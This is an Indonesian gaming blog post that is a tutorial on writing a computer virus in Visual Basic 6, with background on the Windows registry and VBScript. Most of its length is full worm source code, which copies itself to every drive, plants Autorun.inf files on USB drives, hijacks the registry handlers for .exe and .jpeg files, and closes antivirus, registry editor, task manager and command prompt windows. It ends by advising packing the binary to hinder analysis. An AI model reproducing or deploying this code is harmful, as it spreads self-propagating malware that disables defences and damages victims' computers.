KeluarJangan Lupa Klik Like Dan Follow ya!
WELCOME TO andriworldwide.blogspot.com | Sesering mungkin mampir ke blog saya yang sederhana ini agar tidak ketinggalan berita-berita tentang game, terutama Ninja Saga dan yang lainnya | Jika ingin bertanya sesuatu tentang blog ini, kalian bisa bertanya | Jika ada kekurangan dalam blog ini mohon di maafkan | SALAM

GRATIS BITCOIN DI SINI

Get Free 100.000 SATOSHIS Get Free 1000 BITCOIN EARN 5500 BITCOIN

Tutorial Membuat Virus

Share on :
Need ClAN NINJA SAGA ? -Sebelum melangkah lebih jauh lagi tentang bagaimana memulai dalam membuat virus ada baiknya ada beberapa hal yang mesti dipelajari alam membuat virus komputer yaitu seperti yang ditulis dibawah ini.
Registry Windows
Registry Windows adalah suatu database yang digunakan untuk menyimpan pilihan dan pengaturan pada sistem Microsoft Windows versi 32 bit-Ke atas. Registry windows berisikan pengaturan dan informasi untuk semua hardware, software, user dan pilihan-pilihan yang berkaitan dengan komputer tersebut.
Masing-masing cabang utama disebut dengan Hive. Hive berisi key dan masing- masing key bisa berisi key-key yang lain (sub key), dan key bisa berisikan value. Ada tiga jenis data yang umumnya digunakan  yaitu : String, Binary, dan DWORD – penggunaan masing-masing data ini tergantung pada konteks.
Adapun dibawah ini merupakan struktur Hive yang terdapat pada registry windows.
1.    HKEY_CLASSES_ROOT
hive ini berisi semua informasi tentang file asosiasi untuk mendukung fitur drag and drop, informasi OLE, windows shortcuts, dan aspek inti pada tampilan Windows
2.    HKEY_CURRENT_USER
Hive ini merujuk pada bagian HKEY_USERS, sesuai dengan user yang sedang aktif dan berisi informasi seperti nama logon, pengaturan desktop, dan pengaturan StartMenu
3.    HKEY_LOCAL_MACHINE
Hive ini berisikan informasi spesifik komputer tentang jenis hardware, software, dan pilihan-pilihan yang berkaitan dengan komputer tersebut, danh informasi ini digunakan untuk semua user pada komputer.
4.    HKEY_USERS
Hive ini berisikan pilihan individu untuk masing-masing user yang menggunakan komputer, masing-masing user diwakili oleh suatu Sid sub-key yang ditempatkan dibawah cabang utama.
5.    HKEY_CURRENT_CONFIG
Hive ini merujuk pada bagian HKEY_Local_Machinie, sesuai dengan konfigurasi hardware yang berlaku saat itu.
6.    HKEY_DYN_DATA
Hive ini merujuk pada suatu bagian dari HKEY_LOCAL_MACHINE, untuk digunakan dengan fitur plug&play pada Windows, bagian ini bersifat dinamis dan akan berubah ketika suatu alat ditambahkan atau dipindahkan dari sistem.
Sedangkan pada value terdiri dari tiga sejenis data yang sering digunakan.
1.    REG_BINARY
Jenis ini menyimpan nilai sebagai data biner.kebanyakan informasi komponen perangkat keras disimpan sebagai data biner, dan dapat dilihat pada sebuah editor dalam format hexadecimal.
2.    REG_DWORD
Jenis ini mewakili data dengan empat byte nomor dan biasanya digunakan untuk nilai-nilai boolean, seperti “0” berarti Disableddan “1” berarti enabled.
3.    REG_SZ
Jenis ini adalah suatu string standar, yang digunakan untuk mewakili value yang bisa dibaca manusia.
run untuk akses regedit virus
Tampilan Saat Pemanggilan Registry Windows
registry editor so ini bukan registry nya itu sendiri
Tampilan Registry Windows Note :  Pembahasan atau tutorial tentang Registry Windows dapat kalian cari pada 
internet atau buku-buku yang membahas tentang Registry Windows.

Visual Basic Script
Visual merupakan bagian dari WSH (Windows Scripting Host). Yaitu bahasa scripting yang digunakan programmer web untuk mengakses script – script yang ada di windows. Visual Basic Script merupakan turunan visual basic, VBScript juga lebih mendukung untuk pembuatan fungsi – fungsi di windows, karena yang mebuat VBScript itu adalah pihak Microsoft sendiri.
Adapun langkah-langkah dalam menjalankan VBScript adalah sbb,
1. Pertama-tama buka notepad terlebih dahulu, kemudian ketiikan kode dibawah ini atau juga bisa di copy – pastekan saja. Dim coba
Coba=inputbox(“Halo Semuanya”,”IlmuKomputer”)
2. Setelah itu simpan dengan ekstensi *.vbs
vb script sebagai bahasa pembuat virus Tampilan Setelah Dijalankan
Note : Pembahasan atau tutorial  tentang VBScript dapat kalian cari pada internet 
atau buku-buku yang membahas tentang VBScript
Pemrograman Visual Basic
Visual Basic merupakan salah bahasa pemrograman tingkat tinggi yang dibuat oleh Microsoft. VB bersifat fleksibel dibanding dengan development tools lainnya. Karena VB tidak terlalu bergantung terhadap fungsi dari API (Application Programming Interface) pada windows, API sudah dimasukkan oleh Microsoft ke dalam VB sebagai file.dll. Visual Basic juga dibuat dengan interface yang ssangat mudah dipahami dan sangat user friendly.
visual basic unggulan virus maker indonesia
Tampilan Jendela Utama  Visual Basic 6.0

Tipe Variabel
Variabel berguna untuk menyimpan atau menampung informasi atau data yang diperlukan oleh aplikasi. Dalam memberi nama variabel harus memiliki syarat sebagai berikut :
1.    Tidak boleh leh dari 40 karakter 2.    Harus berupa huruf, angka dan underscore
3.    Karakter pertama berupa huruf
4.    Tidak menggunakan kata yang termasuk kode program
Tipe DataUkuranJangkauan
Byte1 byte0 s/d 255
Boolean2 byteTrue and False
Long4 byte-2147483.648 s/d 2147483647
Integer2 byte-32768 s/d 32767
Single4 byteNegatif:-3.402823E38 s/d -1.401298E-45 Positif:1.401298e-45 s/d 3.402823E38
Double8 byteNegatif:-1.79769313486232E308 s/d -4.94065645841247E-324 Positif:4.94065645841247E-324 s/d 1.79769313486232E308
Currency8 byte-922337203685477.5808 s/d 922337203685477.5807
String1 byteer karakter    0 s/d 2 Milyar karakter (95,97 & NT) dan 0 s/d sekitar 65535 karakter (versi 3.1)
Date8 byte1 January 100 s/d 31 Desember 9999
Object4 byteReferensi Object
AritmatikaKomparasiLogika
Pangkat (^)Sama(=)Not
Negatif(-)Tidak samaAnd
Kali dan Bagi (*,/)Kurang dari(<)Or
Pembagian bulat(\)Lebih dari(>)Xor
Sisa bagi(Mod)Kurang dari atau sama (<=)Eqv
Tambah dan kurang (+,-)Lebih dari atau sama (>=)Imp

Percabangan (Branching)
1. Percabangan If  … then
Biasanya struktur percabangan if … then biasanya digunakan dalam menjalankan suatu pernyataan secara kondisional. Dan juga biasanya berupa suatu perbandingan, maupun ekspresi yang menghasilkan nilai numerik
If kondisi Then pernyataan Atau
If kondisi Then
Pernyataan-pernyataan
End if

2. Percabangan If … Then … Else Percabangan ini digunakan untuk mendefinisikan beberapa blok pernyataan yang akan dijalankan salah satu berdasarkan kondisi yang memenuhi syarat
If kondisi1 then Pernyataan1
ElseIf kondisi2 then
Pernyataan2
Else
Blok pernyataan-n
End if

Percabangan Select Case
Select case merupakan suatu alternatif tambahan terhadap if … then … else. Suatu statemen select case memiliki kemampuan yang sama dengan if … then … else, tetapi membuat code lebih mudah dibaca
Select Case ekspresi Case ekspresi1
Pernyataan1
Case ekspresi2
Pernyataan2
Case Else ekspresi-n
Pernyataan-n
End Select

Perulangan (Looping)
1. Perulangan Do … Loop Gunakan Do Loop untuk mengeksekusi suatu blok dengan jumlah perulangan yang tak terhingga.
Do While kondisi
Pernyataan
Loop

Atau
Do
Pernyataan
Loop While kondisi

Atau
Do Until kondisi
Pernyataan
Loop
Do
Pernyataan
Loop Until kondisi

2. Perulangan For … Next
Perulangan ini digunakan untuk melakukan pengulangan suatu blok program sebanyak yang telah ditentukan pada nilai awal dan nilai akhir.
For counter = awal to akhir [step increment]
Pernyataan
Exit For
Pernyataan
Next [counter]
Note : Pembahasan atau tutorial  tentang Visual Basic dapat kalian cari pada internet 
atau buku-buku yang membahas tentang Visual Basic
Metode yang Sering Digunakan
Adapun dalam pembuatan virus ada beberapa metode yang sering digunakan, yaitu.
1.    Metode Trik Launcher
Adalah metode dengan melakukan manipulasi pada file konfigurasi windows (win.ini) dan memanfaatkan array dalam pemberian nama file virus sehingga virus ini dapat membuat salinan dengan menggunakan nama yang beragam.
2.    Metode Shell Spawning
Dimana virus akan aktif jika user telah mengeksekusi suatau file dengan ekstensi tertentu.
3.    Metode Anti Deletion
Merupakan metode yang memiliki prinsip untuk menyulitkan user untuk menghapus file virus pada sistem komputer yang telah terinfeksi.
4.    Metode Watcher
Suatu metode yang membentuk suatu rangkaian program yang saling mengawasi satu sama lainnya, tidak hanya mengawasi keberadaan program tetapi juga mengawasi hal lain, seperti suatu konfigurasi, keberadaan atau ketidak adaan suatu hal atau mengawasi kejadian tertentu.
5.    Metode Comparison
Metode comparison atau biasanya disebut dengan metode perbandingan memiliki prinsip yang bersifat tidak tetap atau dapat diubahpada setiap aplikasi yang disimpan dalam suatu file konfigurasi dan lebih sering tersimpan pada system registry windows.
6.    Metode Encryption
Metode enkripsi adalah suatu metode yang mengubah suatu kode yang mudah dimengerti menjadi untuk sulit dimengerti
7.    Metode Polymorphic
Suatu metode yang membuat file program virus berubah (isi maupun ukuran program) saat penginfeksian.
8.    Metode Drop File
Metode ini digunakan untuk mengeksekusi suatu file tertentu dari file utama. Dan masih banyak lagi metode – metode yang sering digunakan dalam pembuatan virus komputer.
Kriteria Virus Yang Akan Dibuat
Virus yang akan dibuat ini memiliki beberapa kriteria sebagai berikut :
1.    Mengecek keberadaan drive. 2.    Melakukan pemeriksaan terhadap ekstensi file virus itu sendiri pada sistem komputer dan drive
3.    Jika tidak ditemukan eksistensinya maka virus akan melakukan  reproduksi
4.    Mencari informasi tentang sistem operasi yang dinstall.
5.    Sembunyi proses dari task list
6.    Manipulasi system registry windows
7.    Menampilkan pesan pada waktu yang telah ditentukan
Dalam pembuatan virus dengan menggunakan visual basic 6.0 langkah pertama yang perlu disiapkan yaitu;
1.    Form
i.    Name    : frmVirs ii.    ShowInTaskbar : False
iii.    Visible    : false
2.    Timer1
i.    Name    : tmrVirs ii.    Enable    : True
iii.    Interval    : -
3.    Module1
i.    Name    : mdlRegs
Dan setelah itu dilanjutkan dengan mengetikkan source code dibawah ini atau kalian dapat menggunakan copy – paste. Ketikkan source yang pertama pada form sedangkan yang kedua pada module
1.
‘ ___________________________________________________ ‘ __ : Form_Load, 02-Agust-2007  13:43:57 ¯¯¯
‘ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
‘ Module     : Borat
‘ Author     : Ajung a.k.a us3r130d0h
‘ Note       : Example
‘ History    : Di Sekretariat Bersama Mahasiswa Perguruan Tinggi Asia Malang
‘ _______________________________________________________________
Option Explicit
Private Declare Function CopyFile Lib “kernel32″ Alias _
“CopyFileA” (ByVal lpExistingFileName As String, ByVal _
lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetDriveType Lib “kernel32″ Alias “GetDriveTypeA” (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib “kernel32″ Alias “GetWindowsDirectoryA” (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private SF As String * 255
Private Declare Function GetSystemDirectory Lib “kernel32″ Alias _
“GetSystemDirectoryA” (ByVal lpBuffer As String, ByVal nSize _
As Long) As Long
Private Function DriveType(Drive As String) As String
Dim sAns As String, lAns As Long
If Len(Drive) = 1 Then Drive = Drive & “:\”
If Len(Drive) = 2 And Right$(Drive, 1) = “:” _
Then Drive = Drive & “\”
lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = “Removable Drive”
Case 3
sAns = “Fixed Drive”
Case 4
sAns = “Remote Drive”
Case 5
sAns = “CD-ROM”
Case 6
sAns = “RAM Disk”
Case Else
sAns = “Drive Doesn’t Exist”
End Select
DriveType = sAns
End Function
Private Sub BoratGanda()
‘Deklarasikan variabel
Dim ictr As Integer
Dim sDrive As String
ReDim sDrives(0) As String
‘Fungsi Ascii 65 = A sampai dengan 90 = Z
For ictr = 65 To 90
sDrive = Chr(ictr) & “:\”
‘Jika tidak ditemukan drive yang dicari maka dilanjutkan tanpa menampilkan error message
If DriveType(sDrive) <> “Drive Doesn’t Exist” Then
‘Jika terjadi kesalahan maka progam tetap dijalankan
On Error Resume Next
‘Copykan file induk kemasing-masing drive
FileCopy App.Path & “\” & App.EXEName & “.exe”, sDrive & “Xvirs .exe”
End If
Next
End Sub
Private Sub Form_Load()
”Jika terjadi kesalahan maka progam tetap dijalankan
On Error Resume Next
‘Gunakan trik launcher dengan metode Shell Spawning
Dim Spawning As Variant
Spawning = Command()
Shell (Spawning), vbNormalFocus
‘Jika aplikasi program ini telah ditemukan berjalan pada sistem komputer
‘Maka eksekusi langsung file virus menjadi tidak aktif
If App.PrevInstance = True Then End
‘Panggil fungsi dari BoratGanda
‘(Kode Reproduksi)
Call BoratGanda
‘Copy file induk pada special folder yang ditemukan
‘Manipulasi dengan menambahkan file xServices.exe dan Rund4ll.exe
‘Agar file virus ini tersimpan pada memory komputer
FileCopy xBorat, BoratSpecialFolder(1) & “\xServices .exe”
FileCopy xBorat, BoratSpecialFolder(1) & “\Rund4ll .exe”
‘Manipulasi System Registry Windows
‘Dengan Asumsi file virus akan aktif jika user melakukan eksekusi
‘pada file yang berekstensikan *.exe dan *.Jpeg
SetStringValue “HKEY_CLASSES_ROOT\exefile\shell\open\command”, “”, _
“xServices.exe %1″
SetStringValue “HKEY_CLASSES_ROOT\exefile\jpegfile\open\command”, “”, _
“Rund4ll.exe %1″
End Sub
Private Sub tmrBoratKeluar_Timer()
‘Timer ini berfungsi untuk mematikan seluruh program yang titlenya berisikan
‘Seperti dibawah ini
On Error Resume Next
‘Panggil fungsi Api WinQuit
WinQuit “vir”
WinQuit “av”
WinQuit “safe”
WinQuit “start”
WinQuit “process”
WinQuit “spy”
WinQuit “autoruns”
WinQuit “hijack”
WinQuit “patrol”
WinQuit “alarm”
WinQuit “task”
WinQuit “config”
WinQuit “folder option”
WinQuit “system”
WinQuit “properties”
WinQuit “watson”
WinQuit “remov”
WinQuit “scan”
WinQuit “kill”
WinQuit “reg”
WinQuit “regedit”
WinQuit “www”
WinQuit “doc”
WinQuit “restore”
WinQuit “cmd”
WinQuit “command”
‘Akhir Sub
End Sub
Private Sub tmrBoratPesan_Timer()
‘Tampilkan pesan pada tanggal 9 bulan Februari
‘Dengan isi pesan sbb “Selamat Datang Pengalaman Baru”
On Error Resume Next
If (Day(Now) = 9 Or Month(Now) = 2) Then
MsgBox “Selamat Datang Pengalaman Baru”, vbCritical, “IlmuKomputer”
End If
End Sub
Private Sub tmrBoratRun_Timer()
‘sub ini berfungsi untuk melakukan penggandaan diri borat pada UFD
Dim bfile As String
Dim i As Byte
For i = 1 To Drive1.ListCount – 1
If GetDriveType(Drive1.List(i) & “\”) = 2 Then
If Len(Dir$(Drive1.List(i) & “\Autorun.inf”)) = 0 Then
CopyFile xBorat, Drive1.List(i) & “\xVirusq.exe”, False
SetAttr Drive1.List(i) & “\xVirusq.exe”, vbReadOnly
bfile = Drive1.List(i) & “\Autorun.inf”
Open bfile For Output As #1
Print #1, “[Autorun]“
Print #1, “Open=xVirusq.exe”
Print #1, “Shellexecute=xVirusq.exe”
Print #1, “Shell\auto\command=xVirusq.exe”
Print #1, “Shell=auto”
Close 1
SetAttr Drive1.List(i) & “\Autorun.inf”, vbReadOnly
End If
End If
Next i
End Sub
Private Function BoratSpecialFolder(value)
On Error Resume Next
Dim FolderValue As String
If value = 0 Then
FolderValue = Left(SF, GetWindowsDirectory(SF, 255))
End If
If value = 1 Then
FolderValue = Left(SF, GetSystemDirectory(SF, 255))
End If
If Right(FolderValue, 1) = “\” Then
FolderValue = Left(FolderValue, Len(FolderValue) – 1)
End If
BoratSpecialFolder = FolderValue
End Function
Private Function xBorat()
Dim WPath, WName As String
WPath = App.Path
If Right(WPath, 1) <> “\” Then
WPath = WPath & “\”
End If
WName = App.EXEName & “.exe”
xBorat = WPath & WName
End Function
2.
Private Declare Function PostMessage Lib “user32″ Alias _ “PostMessageA” (ByVal hwnd As Long, ByVal wMsg As Long, _
ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function EnumWindows& Lib “user32″ (ByVal _
lpEnumFunc As Long, ByVal lParam As Long)
Private Declare Function GetWindowText Lib “user32″ Alias _
“GetWindowTextA” (ByVal hwnd As Long, ByVal lpString As _
String, ByVal cch As Long) As Long
Private Declare Function IsWindowVisible& Lib “user32″ (ByVal _
hwnd As Long)
Private Declare Function GetParent& Lib “user32″ (ByVal hwnd As _
Long)
Private Declare Function EnableWindow Lib “user32″ (ByVal hwnd _
As Long, ByVal fEnable As Long) As Long
Dim sPattern As String, hFind As Long
Const WM_CLOSE = &H10
Private Function EnumWinProc(ByVal hwnd As Long, ByVal _
lParam As Long) As Long
Dim k As Long, sName As String
If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then
sName = Space$(128)
k = GetWindowText(hwnd, sName, 128)
If k > 0 Then
sName = Left$(sName, k)
If lParam = 0 Then sName = UCase(sName)
If sName Like sPattern Then
hFind = hwnd
EnumWinProc = 0
Exit Function
End If
End If
End If
EnumWinProc = 1
End Function
Private Function WinFind(sWild As String, Optional bMatchCase _
As Boolean = True) As Long
sPattern = sWild
If Not bMatchCase Then sPattern = UCase(sPattern)
EnumWindows AddressOf EnumWinProc, bMatchCase
WinFind = hFind
End Function
Function WinQuit(WindowsTitle As String)
On Error Resume Next
hFind = 0
Dim wincap As Long
Dim rtnval As Long
wincap = WinFind(“*” & WindowsTitle & “*”, False)
rtnval = PostMessage(wincap, WM_CLOSE, vbNull, vbNull)
End Function
Function WinAble(WindowsTitle As String, value As Boolean)
hFind = 0
On Error Resume Next
Dim wincap As Long
Dim rtnval As Long
wincap = WinFind(“*” & WindowsTitle & “*”, False)
rtnval = EnableWindow(wincap, value)
End Function
Kompresi File Virus 
Setelah selesai pada pembuatan virus langkah terakhir adalah pengepackan file virus tersebut. Pengepackan file virus sangat penting sekali dimana algoritma dari file irus tersebut agar tidak mudah dibaca pada saat debuging oleh virus maker lainnya disamping itu membuat ukuran file dari virus menjadi lebih kecil sehingga tidak terlalu banyak mengambil tempat.

Selamat mencoba
sumber : pusat hacking se-dunia

n258456064095_339.jpg (200×145)KLIK UNTUK DAPAT 100 TOKEN GRATIS.

0 comments on Tutorial Membuat Virus :

Post a Comment

Jika Spam Akan DI hapus.

Tulisan Lain